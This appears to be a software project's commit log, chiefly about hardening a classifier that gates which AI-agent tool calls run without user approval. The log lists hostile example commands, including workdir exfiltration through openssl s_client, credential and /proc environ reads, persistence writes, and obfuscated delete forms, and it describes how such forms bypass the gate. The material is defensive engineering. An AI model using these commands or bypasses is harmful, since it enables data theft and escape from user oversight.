* Unsloth start improvements: download progress, server reuse, and safe model switching (#7313)

* Improve unsloth start runtime lifecycle

* Remove speculative Gemma prompt override

* Polish model download progress output

* Refine unsloth start status output

* Clarify unsloth readiness banner

* Clarify model reuse and switching output

* Queue model switches behind active inference

* Tighten unsloth start model switching

* Reduce model switch bookkeeping

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix Studio re-exec compatibility

* Recheck sidecar reservation after inference drain

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Pass start marker through child environment

* Fix key redaction, switch-waiter ordering, and stop/messaging gaps for PR #7313

- Redact minted sk-unsloth keys from the startup-failure log tail: the early
  key marker lands in the server log before the model load finishes, so a
  load-phase crash printed a live key to the terminal
- Deregister a finished switch waiter before releasing the swap gate so a
  swap on another event loop cannot count it as still queued and unload the
  model the finished request is about to generate against
- Warn on same-repo quant switches: an explicit variant replaces the resident
  weights for every attached session, but the repo ids match so no switch
  warning was printed
- Note the agent exit code when it is nonzero so the server keep-alive
  message does not read as a successful session
- Use taskkill /T in unsloth studio stop so llama-server children stop too

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten comments in start, studio, and inference changes

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>

* Unsloth start: add local subagents for Claude Code, Codex, OpenCode and Pi (#7326)

Bring the local-subagent support onto main. The original change (#7316) merged
into the stacked pr/daniel-unsloth-start-audit branch rather than main, and #7313
reached main via squash, so these files never landed on main.

Adds --as-subagent for claude, codex, opencode and pi: the parent agent keeps its
own cloud model while a locally served GGUF is registered as a delegated subagent,
using ephemeral per-session config that never touches the user's real agent config.

* Fix Agents builder defaults and flag validation

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix Agents variant and provider fallbacks

* Fix local model and Pi subagent edge cases

* Agents tab: flag the Codex row when the loaded model is not GGUF

* Agents tab: target the active Studio server, wrap narrow rows, index the tab's search terms

* Agents tab: build copied commands from the browser-reachable Studio and show the key placeholder

* Preserve cache load ids and path variants in built commands for PR #7312

A GGUF outside the active Hugging Face cache only loads by its snapshot
path, so keep that load_id for --model while still listing the row by repo
id. Path based models carry their quant in --gguf-variant rather than a
":variant" suffix, and the active selection now keeps the variant inference
status reports for them.

* Agents tab: index the intro for agent-name searches and keep long commands inside the panel

* List GGUF variants from the cache the command loads from for PR #7312

A snapshot outside the active Hugging Face cache was offering the remote
variant list, so a quant absent from that snapshot could be selected and
the generated command would fail to load it.

* Agents tab: omit --api-key so the CLI can replay a saved key for the base

* Agents tab: label the indexed heading rows and fall back to the active desktop API base

* Agents tab: name every supported agent in the indexed intro for PR #7303

* Send the cached GGUF load path and fix the agents tab search targets for PR #7312

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten the agents tab comments for PR #7303

* Build the agents tab example commands from the active Studio base for PR #7303

* Keep the resident model on its active cache load for PR #7312

* Tighten the agents tab and cached GGUF comments for PR #7312

* Take the agent command shell from the Studio host for PR #7303

* Stop emitting snapshot paths as --model and keep unsloth start searchable for PR #7312

* Pick the command shell from where the CLI runs for PR #7303

* Match a path load by its advertised id and follow the resident model for PR #7312

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Keep an explicit quantization and retire superseded native-grant labels for PR #7312

* Scope the remembered quant, stop following unloaded models and keep local GGUF paths for PR #7312

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Stop shadowing the path classifier, match snapshot ordering and sequence status polls for PR #7312

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Release stale native-grant picks, keep local GGUF identities and index snapshot aliases for PR #7312

* Index inactive-cache snapshots, widen local GGUF detection and clear retired quants for PR #7312

* Classify cached repos by snapshot, merge repo ids case-insensitively and keep loose GGUFs variantless for PR #7312

* Fix snapshot alias, partial split and mmproj-only handling for PR #7312

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Trust scanned model_format and drop incomplete snapshot ids for PR #7312

* Exclude mmproj and partial downloads, keep path case and drop duplicate scan for PR #7312

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Restrict revision aliases and require complete snapshot variants for PR #7312

* Index revisions individually and hide partial variants for PR #7312

---------

Co-authored-by: shimmyshimmer <107991372+shimmyshimmer@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: oobabooga <oobabooga4@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-26 17:09:19 -07:00
Daniel Han
1255964d5a
Studio: default tool-call permission to Approve for me, prompt only on high-risk actions (#7285)
* Default tool-call permission to Approve for me, prompting only on high-risk actions

Make "auto" ("Approve for me") the product default permission mode for local
tool calls, and narrow what it prompts on so ordinary development commands run
without interruption.

Before, an omitted permission_mode behaved as "ask" (or ran ungated on a
non-streaming request), and "auto" paused on any call that was not read-only
(pip install, mkdir, cp, python train.py, git commit, any redirect). Now:

- Unset permission_mode normalizes to "auto" at the API boundary and in both
  tool loops; the Field defaults are "auto" too. An unrecognized value still
  falls back to the stricter "ask".
- "auto" pauses only on genuinely high-risk calls via a new
  is_high_risk_tool_call classifier: credential/secret path access, privilege
  escalation (sudo/su/doas/pkexec), destructive or persistence commands
  (rm/dd/mkfs/crontab/systemctl/recursive chmod, ...), and network exec/exfil
  (curl piped to a shell, ssh/scp/nc, curl uploads). Everything else runs.
  Python prompts on shell escapes, network egress, sensitive reads, and
  dynamically built code; ordinary in-workdir writes run.
- Frontend sends permission_mode for every local chat and omits
  confirm_tool_calls for "auto" so the safe-only no-stream exception still
  applies; the picker and store describe the new behavior.

The hard-block command set, code-safety static analysis, resource limits,
secret-env stripping, and the per-session sandbox workdir remain in force under
every mode, and "ask" is still available for users who want to confirm every
call.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Keep non-streaming tool requests working under the auto default

The default-permission change made an omitted permission_mode normalize to
auto at the request boundary, so a non-streaming enable_tools request hit the
confirm-without-stream guard and returned 400 instead of running (regression
against the #6570 non-streaming tool-call contract used by non-interactive
clients and health checks).

Keep permission_mode unset at the request boundary (the confirm gate can only
prompt while streaming, so an unset non-streaming request stays lenient and
runs), while the tool loops continue to normalize an unset mode to auto for the
per-call gate. Net: streaming requests default to auto and pause high-risk
calls; non-streaming requests keep the prior run-without-gate behavior.

* Harden the auto high-risk classifier against review-flagged bypasses

Address Codex/Gemini review of the default-permission change by gating the
destructive/exec cases that were reaching auto mode without a prompt:

- Terminal: a non-shell interpreter running inline code (python -c, node -e,
  perl -E, php -r), destructive git subcommands (git clean, git reset --hard,
  git push --force), and a command synthesized by a command-position
  substitution ($(printf rm) -rf build) now prompt. Ordinary python <script>,
  git commit/push, and argument-position substitutions (echo $(date)) run.
- Python tool: exec/eval/compile/__import__ invoked by keyword (compile(source=
  ...), import_module(name=...)) is now caught alongside the positional form.
- MCP: an execution tool (run_command, execute_script, invoke_shell) is gated
  like a terminal call, since it runs arbitrary commands on the MCP server
  outside the terminal sandbox; ordinary create/list/read tools still run.

The curl/wget exfil and shell eval cases the review raised are already refused
by the sandbox hard-block set, so no gate change was needed there; the PR
description now notes the classifier layers on top of that hard-block.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Recurse shell -c payloads and literal exec source in the high-risk gate

Second review round on the auto high-risk classifier:

- A high-risk command wrapped in a shell -c payload (bash -c 'git clean -fd',
  sh -c 'truncate -s 0 x') is now screened by recursing into the payload,
  bounded by depth. The sandbox hard-block only recurses for its own smaller
  command set, so git/truncate wrapped this way previously ran unprompted.
- A literal exec/eval/compile source is screened for what it runs rather than
  assumed harmless: exec('import urllib...urlopen(...)') now prompts, while
  exec('x = 1') and a literal __import__('os') name still run.
- git global options that take a value (git -C repo clean, git -c k=v clean)
  consume their value before the subcommand is read, so the real subcommand
  is judged.
- The network exfil check also runs over the assignment-expanded command, so a
  curl/wget name assembled from variables (c=cu d=rl; $c$d -F ...) is seen.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Cover attached inline flags, env -S/-C, camelCase MCP, folded python paths

Third review round on the auto high-risk classifier:

- Interpreter inline code in the attached short form (python -c'...',
  node -e'...') is now matched by the -c/-e/-E/-r prefix, not only the exact
  flag token.
- env -S / --split-string runs its string as a command (screened recursively)
  and env -C / --chdir changes the working directory (asks), so a destructive
  command behind env is no longer treated as a plain wrapper.
- camelCase MCP tool names are split on the case boundary (runCommand ->
  run_Command) before the execution / sensitive-noun regexes, so camelCase
  execution tools are gated like snake_case ones.
- A sensitive path folded across string-literal variables, os.path.join,
  sep.join([...]), or an f-string (p='/etc'; open(p+'/shadow')) is now folded
  and re-checked; an unresolved fragment folds to a sentinel so a partial fold
  never false-positives.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Gate substitution-built shell payloads and keep explicit confirm opt-in

Two auto-mode gaps from review:

- A command substitution stashed in a variable and then executed dynamically
  (x=`printf 'git clean -fd'`; bash -c "$x", or ...; $x, or eval "$x") never
  appears as literal command text, so the token scan could not see the real
  command and git clean ran without a prompt. Fail closed when a command
  substitution coincides with a variable executed as a command. Ordinary
  substitutions captured into a value/argument (d=$(date); mkdir build_$d) still
  run.

- An explicit confirm_tool_calls=True with no permission_mode is the
  pre-permission-mode opt-in to confirm every call. It now resolves to "ask" at
  the request layer instead of the "auto" product default, so those callers keep
  per-call gating rather than only prompting on high-risk calls. A bare unset
  request (confirm flag not set) still defaults to auto.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Cover CLI-forced confirm, Windows delete built-ins, and pathlib reads

Three more auto-mode gaps from review:

- An explicit confirm_tool_calls=True with no permission_mode is now resolved to
  "ask" regardless of the request-level tool flags, so a process-wide
  --enable-tools policy that forces the loop when the request sets neither
  enable_tools nor mcp_enabled still gates every call. Setting only the mode is
  inert unless the loop runs, so a passthrough request is unaffected;
  external-provider requests are still left untouched.

- The Windows cmd.exe delete built-ins del, erase, and rd are added to the
  high-risk terminal set. The terminal executor runs cmd /c on Windows and these
  are not in the hard-block set, so del /q file.csv would otherwise run in the
  workdir without a prompt.

- A sensitive path assembled with pathlib (Path('/etc') / 'passwd', joinpath, or
  a Path bound to a variable then joined) is now gated. The python high-risk
  folder reuses the shared _folded_path builder plus _folded_is_sensitive, which
  already handle the / operator, path constructors, os.path.join, str.join,
  f-strings, and %/.format. Relative in-workdir and unknown-base paths still run.

* Gate combined -c, versioned interpreters, busybox, and sensitive chdir

Four more auto-mode classifier gaps from review, plus a sandbox backstop:

- Combined shell flag clusters (bash -lc, bash -xc) and the attached form
  (bash -c'...') now have their -c payload screened recursively; the same
  cluster handling closes python -Bc inline code. Previously only an exact -c
  matched, so bash -lc 'git clean -fd' ran without a prompt.

- Versioned interpreter binaries (python3.11, python2.7, pypy3.10) are recognized
  as inline-code interpreters, so python3.11 -c '...' is gated like python3 -c.

- busybox / toybox are treated as command wrappers, so the applet
  (busybox rm -rf) is judged instead of the multicall binary, which was slipping
  through as an unknown-but-safe command.

- A chdir into a sensitive directory (cd /proc/$PPID; cat environ, cd /etc) is
  gated: the read happens after the directory change so no single token spells
  out the sensitive path. Ordinary in-workdir chdirs still run.

- Backstop for the /proc/<parent>/environ read: the sandbox now hardens the
  Unsloth process against same-UID /proc environ reads in normal sandboxed mode
  too, not only in bypass mode, so a classifier miss cannot recover the parent
  environment. Best-effort in the sandbox (the child env is already scrubbed), so
  a host where prctl is unavailable still runs.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Harden parent proc-env on the sandboxed python path too

The previous commit hardened the Unsloth process against same-UID
/proc/<parent>/environ reads on the sandboxed bash path; apply the same
best-effort hardening on the sandboxed python exec path so both tools are
symmetric. Update test_bypass_exec_hardens_parent_proc_env, which asserted the
sandboxed path never hardened, to expect the backstop on both paths.

* Tighten the curl/wget exfil check for attached and wget upload flags

The network exec/exfil classifier missed a curl upload flag when it was attached
to its value (curl -Ffile=@dump.sql, curl -d@f) because the token was split on =
first, and it did not cover wget's upload flags (--post-data, --post-file,
--body-data, --body-file). curl short upload flags are now matched prefix-wise and
wget's upload flags are checked separately, which also removes a false positive
where a benign wget short option (wget -T timeout, wget -F force-html) was read as
an upload. curl and wget remain hard-blocked by the sandbox regardless; this only
tightens when auto mode pauses for approval.

* Tighten the high-risk auto-mode classifier: wrapper, interpreter, git, python-fs, MCP, and persistence-write gaps

Close reachable gaps where a genuinely dangerous tool call was auto-approved
without a prompt in Approve-for-me mode:

- Process-launch wrappers: setsid/exec/builtin forward the command position, so
  screen their child (setsid git clean, exec python -c) instead of the wrapper.
- Inline-code interpreters: node/bun -p/--print evaluate code like -e; pwsh
  -Command/-EncodedCommand run inline code (not hard-blocked off Windows).
- Windows cmd.exe /c|/k recurses into the nested command (cmd /c del x).
- git restore (default --worktree) and git checkout -- . / git checkout .
  discard tracked edits irrecoverably, same class as the already-gated git clean.
- Python destructive filesystem calls (os.remove, shutil.rmtree, Path.unlink,
  os.rmdir/removedirs, incl. bare imports) pair with the terminal rm gate.
- MCP: a read-named tool carrying a destructive payload (DELETE/DROP SQL,
  GraphQL mutation, mutating HTTP method) still prompts; honestly-named
  create/update/delete MCP calls keep running.
- System persistence writes: a write into /etc/profile.d, /etc/cron*,
  /etc/systemd, /etc/ld.so.preload, /etc/rc.local, /etc/init.d installs a
  boot/login/preload hook. The sandbox keeps host-fs access, so gate these;
  ordinary /etc reads (hostname, resolv.conf) and in-workdir writes still run.

Adds table-driven regression rows for every new prompt case and its
guard-against-over-prompt counterpart.

* Extend the high-risk auto-mode gate: non-curl network clients, destructive MCP verbs, array-fed shell payloads

Round-two Codex hardening on the auto (Approve-for-me) classifier:

- Network exfil beyond curl/wget: gate nc/ncat/netcat/telnet/socat/ssh/scp/sftp
  at command position and openssl s_client/s_server. The sandbox has no network
  namespace, so tar czf - . | openssl s_client -connect host:443 was streaming
  the workdir without a prompt. Local openssl (dgst/enc) and a filename that
  merely contains a client name still run.
- Destructive MCP tools: an honestly-named delete_file/delete_repo/drop_table/
  purge_index/revoke_token runs outside the terminal sandbox and loses data, so
  gate the destructive verb on the name. Non-destructive create/update/list/get
  still run; a substring like undelete does not match on the segment boundary.
- Dynamically constructed shell payloads: x=(git clean -fd); bash -c "${x[*]}"
  carries no command substitution and is not resolved by assignment expansion,
  so it slipped the var-executed check. Fail closed when an array expansion is
  run as a command; a benign array print (echo "${a[@]}") is untouched.

Adds regression rows for every new prompt case and its benign counterpart.

* Gate user-level persistence writes in auto mode

Extend the persistence-write gate from the /etc set to user-level startup and
autostart locations: a write into ~/.bashrc, ~/.zshrc, ~/.profile and the other
shell rc/profile files, ~/.config/autostart, ~/.config/systemd/user, or
~/.config/environment.d runs on the next login/session, the same boot-hook risk
but needing no root (Studio commonly runs unprivileged, so this is the more
reachable vector). The sandbox does not confine absolute paths, so an append to
~/.bashrc reaches the real file. A non-persistence ~/.config dir and ordinary
reads still run. Adds regression rows.

* Close three more auto-mode gate gaps: curl destructive methods, the dot source synonym, aliased os.remove

- curl -X DELETE / --request DELETE|PUT|PATCH (separated, attached, and
  --request= forms) mutates or deletes a remote resource, so gate it; a plain
  download and GET still run.
- The hard-block set blocked source but not its POSIX synonym '.', so
  . ./script.sh ran the file's contents past the classifier. Block '.' at
  command position too; a path argument (find . -type f, cd .) is unaffected.
- os.remove reached through an aliased module (import os as fs; fs.remove(...))
  was missed because only the literal receiver 'os' was recognized; resolve
  import os as ... aliases, matching the existing safety analyzer.

Adds regression rows for each case and its benign counterpart.

* Close three more obfuscation bypasses of the auto-mode gate and hard block

- ANSI-C quoting hid the command name: a $'rm' -rf x form tokenized as $rm, so
  both the high-risk scan and _find_blocked_commands missed it while Bash ran
  rm. Decode ANSI-C ($'...') before classifying, in both the terminal
  classifier and the blocklist; an ANSI-C string in argument position stays
  benign.
- Process substitution executed as a script (an interpreter consuming a <(...)
  whose generated content is unscreenable) ran without a prompt; the prior <(
  check was unreachable without curl/wget. Gate a process substitution consumed
  by an interpreter; a non-interpreter consumer (diff over two <(sort ...))
  still runs.
- os.remove bound to a name (f = os.remove; f(x)) or reached via getattr(os,
  'remove') bypassed the direct-attribute scan. Track assignment aliases and
  getattr with a literal attribute name; a bound list.remove still runs.

Adds regression rows for each case and its benign counterpart.

* Gate container runtimes, MCP privilege grants, arg-embedded exec, and network listeners

- Container/VM runtimes (docker, podman, nerdctl, ctr, crictl, lxc, machinectl,
  kubectl) act through a daemon with host privileges, so a bind mount writes the
  real filesystem and escapes the child process workdir and rlimits entirely.
  Gated wholesale because the escape lives in the arguments.
- MCP privilege grants: an unambiguous privilege verb (grant/authorize/elevate/
  escalate/impersonate) prompts on its own; a softer verb (assign/add/set/
  attach/bind/put/update/create) prompts only next to a privilege noun (role,
  permission, policy, acl, scope, membership), so assign_issue and add_label
  keep running while grant_role and add_permission ask.
- A flag whose value is a command the tool then executes (GNU tar
  --checkpoint-action=exec=CMD, --rsh, --rsync-path) hid a payload inside an
  argument, past both the classifier and the blocklist. Ordinary archiving runs.
- An interpreter serving on the network (python -m http.server, uvicorn,
  gunicorn, waitress) exposes the session workdir since the sandbox keeps no
  network namespace. A non-server module (python -m pytest, -m pip) still runs.

Adds regression rows for each case and its benign counterpart.

* Close the parallel-review gaps: over-prompting regressions and asymmetric high-risk omissions

Over-prompting fixes (auto mode was pausing on ordinary work):
- The network-listener check matched a server name ANYWHERE in the command, so
  `pip install uvicorn`, `grep uvicorn reqs.txt` and even `echo uvicorn`
  prompted. Scope it to the two forms that actually listen: a module after
  `-m`, or a server binary at command position.
- Inline-code flags were one shared set, so `python -E` (ignore env) and
  `python -Werror` read as eval. Resolve them per interpreter: python -c,
  node/deno/bun -e/--eval, ruby -e, perl -e/-E, php -r.
- The curl upload scan read option letters from unrelated commands in the same
  line (`ls -T && echo curl`). Scope the scan to the segment whose command is
  actually curl/wget.

Under-prompting fixes (destructive actions the narrowed gate stopped catching,
each the twin of something already gated):
- git: switch -f/--force/--discard-changes, stash clear/drop, branch -D/-M,
  rm, push --delete/--mirror/--prune and the +src / :dst refspec forms.
- Platform twins: unlink, ftp, tftp, format, diskpart, diskutil, schtasks,
  reg, sc, launchctl.
- Python: posix/nt module twins (including bare imports), os.truncate,
  os.ftruncate, os.kill, os.killpg, and a file handle's truncate. Gated via the
  handle name so pandas DataFrame.truncate() keeps running.
- MCP: clear/reset/empty/flush/prune/expire destructive verbs, promote.
- deno/bun expose inline eval as a subcommand, not a flag.
- A bare redirect (`> file`, `: > file`) truncates; a redirect after a real
  command is an ordinary write and still runs.
- A forwarded git command keeps its git context (`find -exec git clean`,
  `xargs git clean`), and an unquoted `cmd /c` payload spans the remainder.

Adds regression rows for every case and its benign counterpart.

* Gate shell control flow, bash -c clusters, wrapper option values, and annotated aliases

- `if`/`while`/`until` are followed by a condition the shell runs, so a command
  there is at command position. `if rm -rf build; then :; fi` slipped both the
  classifier and the blocklist (they share the keyword set, so both are fixed).
- A short letter run after `-c` (bash -ce, bash -cl) is more bash options, not
  an attached payload: bash still reads the command string from the next token,
  so the real payload was never screened.
- A wrapper option taking a separate value (env -u NAME, stdbuf -o L, timeout
  --signal TERM, nice -n 5) had its value read as the wrapped command, so
  `env -u FOO rm -rf build` resolved the command `FOO` and never judged `rm`.
  env -C/--chdir is deliberately excluded: it is gated as a chdir already.
- An annotated binding (f: object = os.remove) is the same alias as a plain
  assignment; only ast.Assign was collected.

Adds regression rows for each case and its benign counterpart.

* Fix two gate regressions and close seven more bypasses

Regressions from the previous round, both caught by review:
- Shell keywords were treated as separators anywhere, so `grep if rm README.md`
  resolved `rm` as a command and was blocked. A keyword only separates where a
  command may start, so gate the check on command position (all three scanners).
- The wrapper option-value table was shared across wrappers, but `env -i` is
  valueless while `stdbuf -i` takes a value. `env -i git clean -fd` therefore
  consumed `git` and never judged the subcommand. The table is per wrapper now.

New gaps closed:
- `git -c alias.NAME=PAYLOAD` defines code git then runs. Screen the payload: a
  `!` alias as a shell command, a plain one as `git <payload>`.
- A script fed to a shell over a pipe (printf '...' | bash) or a herestring
  (bash <<< '...') never appears at command position. Ordinary pipes still run.
- `chroot`, `nsenter` and `unshare` cross a privilege or namespace boundary and
  then exec a nested command the wrapper hides.
- A bare runtime name (mcp__srv__python, __node, __code) is an MCP execution
  tool even without a verb.
- `m = __import__("os")` binds the module like `import os as m`, and
  `getattr(__import__("os"), "remove")` reaches it inline.

Declined: gating every command substitution used as a path argument (would
prompt on `echo $(date)` / `make $(FILES)`), and bare `git checkout <path>`
(statically indistinguishable from the very common `git checkout <branch>`).

Adds regression rows for each case and its benign counterpart.

* Pin the auto-mode contract with benign and dangerous corpora

The value of defaulting to "Approve for me" rests on two properties that pull
in opposite directions: ordinary development work must run silently, and
genuinely dangerous work must still prompt. Every denylist change risks
trading one for the other, and a regression in the benign direction is easy to
miss because nothing fails, the mode just starts nagging.

Add two corpora that pin both directions: 62 ordinary commands, python
snippets and MCP calls that must NOT prompt (package installs, builds, tests,
git workflow, reads, ordinary pipes and redirects), and 55 dangerous ones that
must (credential reads, destructive and persistence changes, privilege
escalation, network exec and exfil, container escapes, obfuscated forms).

125 cases, currently 100 percent in both directions.

* Scope four over-prompting checks and close six more gate gaps

Over-prompting fixes (auto mode was pausing on ordinary work):
- find/fd were marked forwarding from the command itself, so every later
  positional looked executable and a search whose pattern happened to equal a
  gated command name prompted. They only forward after an explicit
  -exec/-execdir/-ok flag now.
- The openssl s_client check was not command-position aware, so grepping for
  the string in a README prompted.
- An exec-valued flag (--checkpoint-action, --rsh, --rsync-path) counted no
  matter which command owned it, so printf '%s' --rsh prompted. It now
  requires the owning utility (tar/rsync/scp/sftp) in the same command.
- A listener behind a wrapper or given by absolute path was missed instead
  (env uvicorn, timeout 60 gunicorn, /usr/local/bin/uvicorn); resolving the
  binary at command position covers all three.

New gaps closed:
- git checkout <commit> <path> overwrites the file from that commit, as does
  --pathspec-from-file. A single positional stays ambiguous with a branch name
  and is still left alone.
- git config alias.NAME BODY stores code git runs on the next invocation, so
  the body is screened like the -c form.
- systemd-run launches a nested command as a transient unit.
- Version-suffixed perl/ruby/php/node still run inline code with -e/-r.
- A file handle bound by `with open(...) as f` is tracked for truncate, not
  just an assigned one.
- Exceeding the shell nesting depth now fails closed, matching the docstring,
  instead of letting an unscreened payload through.

Declined: rebinding a command name through the bash hash builtin. Like the
alias/read/awk/coproc family already declined, it is deliberate
self-obfuscation of an already-gated command rather than anything a model
emits, and the always-on backstops cover it.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Scope two more over-prompting checks and close four gate gaps

Over-prompting fixes (auto mode was pausing on ordinary work):
- A recursive flag was looked for across the whole command line, so
  `grep -R pattern . && chmod +x build.sh` made the chmod look recursive and
  prompted. The flag is now scoped to the segment that owns the command.
- The startup-file names were matched anywhere in the line, so `cat
  notes.profile.bak` and `my.zshrc.template` prompted. They now have to sit on
  a path boundary, while the real dotfiles still prompt.

New gaps closed:
- A pending wrapper option value leaked past a command separator, so the
  command after it was never screened (`env -u` followed by a recursive delete
  was missed). The pending state is cleared at every separator now.
- git plumbing and maintenance that loses data: update-ref, reflog, gc, prune
  and history rewriting drop refs and unreachable objects, the same loss the
  porcelain forms already gate.
- A module pulled in dynamically is screened against the same set as a static
  import, so a dynamically imported socket or shutil is treated alike.
- MCP names that move money or ship artefacts (transfer, payout, charge,
  refund, wire, publish, deploy) are irreversible for the operator even though
  they are not destructive in the filesystem sense.

Declined two items:
- Gating arbitrary interpreters that can shell out (awk BEGIN blocks and
  friends). Consistent with the alias/read/coproc/trap family already declined
  here: it inverts the denylist into an allowlist and costs real ergonomics for
  payloads a model does not emit in normal work.
- Prompting on every write outside the session workdir. Ordinary builds and
  scripts write to the standard temp directories constantly, so this would
  prompt on routine work. Persistence and credential paths are already gated
  specifically.

* Resolve command-position globs and keep quoted data out of shell syntax

- A glob at command position is expanded by bash after this scan runs, so
  `/bin/r[m] -rf x` was screened under a name that never executes. The
  always-on blocklist now resolves such a pattern against the blocked names,
  and the classifier asks when a command word cannot be resolved at all. The
  test builtins are excluded, and a pattern carrying no literal character
  resolves to nothing in particular.

- A dollar-quoted word expands to a single word, so a newline inside it is
  data rather than a separator. Decoding it before tokenization made
  `printf '%s'` with multiline data read as two commands and the call was
  refused outright. The decoded text can no longer introduce shell syntax,
  while an escape-obfuscated command name still resolves.

- An attribute name assembled from literals is folded before it is screened,
  so a deletion spelled as a concatenation is treated like the plain form. A
  name on a filesystem module that cannot be folded at all fails closed, since
  there is nothing left to screen.

- An MCP name with no separators never reached the segment boundaries, so a
  server-side execution tool was classified as ordinary even though the
  previous classifier failed closed on it. The verb and object compounds are
  matched directly now, while a name that merely starts with those letters is
  left alone.

Also narrowing a verb pair added in the previous commit: subscribing to a
topic is not a billing subscription, and pub/sub tools should not prompt.

* Screen attached exec values, wrapped openssl, php code flags, worktree removal and sysctl writes

- fd accepts the command attached to the flag (--exec=<cmd>, --exec-batch=),
  and that spelling was stripped and discarded without ever being screened.
  The value is treated as command position now, in the classifier and in the
  always-on blocklist. Only the long spellings are read this way: a short -x
  belongs to too many other utilities for its neighbour to be a command.

- The openssl socket check was anchored at command position, so a wrapper in
  front of it (env, timeout) hid the very thing it was meant to catch. The
  subcommand is checked on the resolved command segment now, so the wrapped
  and absolute forms are covered. Local openssl (dgst, enc) still runs.

- php runs code from -B, -R and -E as well as -r, which are begin, per-line
  and end blocks. Only -r was listed, so the other three ran inline programs
  unscreened.

- git worktree remove --force deletes a linked worktree even when it holds
  uncommitted work or is locked, but only the first-level subcommand was read
  so the nested action was invisible. An unforced remove refuses on a dirty
  worktree and stays out, matching how the checkout and switch discard flags
  are handled.

- sysctl -w, --system and -p change kernel parameters, and the assignment form
  writes without needing a flag. A read-only query stays automatic.

* Fail closed on unscreenable MCP names, alias bodies and stored lookups

- An MCP name whose verb this classifier does not recognise now asks. MCP
  tools run on an external server, outside the terminal sandbox and every
  backstop under it, and their names are an open vocabulary rather than the
  finite set of POSIX utilities, so the denylists could never be complete: a
  name built from an unfamiliar verb sailed through as ordinary. A generous
  read and write vocabulary keeps the everyday tools running, and the reverse
  or repeat of a recognised verb (undelete, reopen, resend) counts as
  recognised too. Measured against thirty tool names taken from the common
  servers, one still prompts, and that one is the pre-existing execution rule
  rather than this one.

- A shell alias body is a command bash runs when the alias is invoked, so it
  is screened as a command in its own right, in the classifier and in the
  always-on blocklist. This is the same shape as a git alias body, which was
  already handled; leaving the shell form out was inconsistent.

- git --config-env=<key>=<envvar> takes its value from the environment, so an
  alias key stores code that never appears in the command text at all. The
  attached form was skipped entirely because the parser required no equals
  sign. An alias key gates it now; ordinary keys are untouched.

- A destructive lookup stored before it is called (a name bound to
  getattr(os, "remove")) matched neither the direct call shape nor the alias
  collection, so it ran. The binding is tracked now.

- A credential basename only names a file when it appears in a string, but the
  whole Python source was being scanned, so `credentials = {}`, a function
  called load_credentials and even a comment mentioning credentials all
  prompted while performing no I/O. The check applies to string literals now,
  with the raw scan kept for source that does not parse.

* Split git short-option clusters and close five more gate gaps

- Git combines short options, so `git push -qf`, `git checkout -qf` and
  `git branch -qD` never matched the exact-string flag sets and ran without a
  prompt. Clusters are split before the destructive flags are checked. Also
  adds the short `-f` spelling to the branch set, which moves a ref and can
  abandon its commits.

- `getent shadow` and `getent gshadow` return password hashes straight from
  NSS, so the read never spells out a path for the sensitive-path check to
  find. The database name is gated instead; ordinary lookups (hosts, passwd)
  still run.

- The account-management set covered useradd and usermod but not adduser,
  deluser, addgroup, delgroup, groupmod, gpasswd, newusers or chgpasswd, so
  `gpasswd -a user sudo` granted group membership silently.

- at and batch hand a payload to atd, which runs it later as this user and
  outside this invocation's blocklist, resource limits, timeout and
  cancellation. They belong with crontab.

- A command word bash builds without the NAME=value form (printf -v, read)
  left nothing at command position to screen. A bare variable executed as a
  command that assignment expansion could not resolve now fails closed. A
  variable used as a path prefix is deliberately excluded: ${VENV}/bin/python
  still leaves a literal basename the scan can read.

* Stop prompting on six inspection shapes and close eighteen gate gaps

Over-prompting fixes, which matter most here since not interrupting ordinary
work is the point of the change:

- `git clean -n` and `--dry-run` list what would be removed and remove nothing,
  so they are inspection commands. The subcommand was gated regardless of its
  flags; a dry run is now recognised in the same segment.
- The listener check matched a module name anywhere in the line, so
  `echo 'python -m http.server'` and grepping for it prompted. It is anchored at
  command position now, like the server-binary check beside it.
- An MCP name that reads names its SUBJECT, not the action: `get_release`,
  `get_invoice`, `search_code` and `get_code` were prompting because the impact
  and runtime-noun patterns fired on the noun. A read verb now suppresses both,
  while an execution verb still wins.
- Free text is not a statement. An issue body or chat message that mentions
  DELETE FROM, a credential file or a path was read as an action. Statements are
  taken from the query-bearing argument names, and paths are skipped only for
  the prose names, since a path can be carried under any other name.
- curl and wget presence was decided by substring, so `grep curl notes.txt &&
  wget -T 5 ...` lent curl's option letters to wget.

Gaps closed:

- git checkout-index -f overwrites the working tree from the index; git tag -d
  and -f delete or replace a ref; git switch -C and checkout -B reset an
  existing branch the way branch -f does.
- Ending a process (kill, pkill, killall, taskkill, tskill) or the machine
  (shutdown, reboot, halt, poweroff) was ungated, though the Python os.kill
  equivalent already prompted. setcap grants file capabilities without sudo.
